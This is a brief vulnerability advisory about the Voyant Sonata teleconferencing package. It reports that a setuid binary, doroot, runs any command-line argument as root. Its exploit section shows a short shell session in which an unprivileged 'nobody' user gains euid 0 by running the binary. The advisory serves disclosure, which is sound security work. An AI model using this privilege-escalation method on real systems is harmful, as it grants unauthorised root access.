VDB-ID: 43 Title: Voyant Sonata doroot command vulnerability Vulnerability Date: 2000-11-30 Download: http://www.voyanttechnology.com/ Vendor: Voyant Technologies. Notified: 2000-11-30 Vendor Contact: vulnhelp@securityfocus.com Description: Sonata is a teleconfrencing solution developed by Voyant Technologies. This advisory concerns the Sonata application server and bridge componet of the Sonata package. The application server is an Ultra Sparc 5 running Solaris 2.x as required by Voyant technologies. The bridge is an IBM PC running OS/2 Warp. These hosts are usually built in house by Voyant personnel and installed at customer locations by a field engineer. Vulnerability: The setuid binary doroot does exactly what it says. It executes its command line argument as root. This is really silly and I dont know why it would need to exist. CVE-IDs: 2001-0176 Exploit: $ cd /opt/TK/tk4.1/library/demos $ id uid=60001(nobody) gid=60001(nobody) $ ./doroot id uid=60001(nobody) gid=60001(nobody) euid=0(root) $ ls -l doroot rwsr-xr-x 1 root other 6224 Mar 12 1999 doroot URL: http://www.vapid.dhs.org/advisories/voyant_technologies_sonata_vulnerabilities.html Credit: Larry W. Cashdollar, @_larry0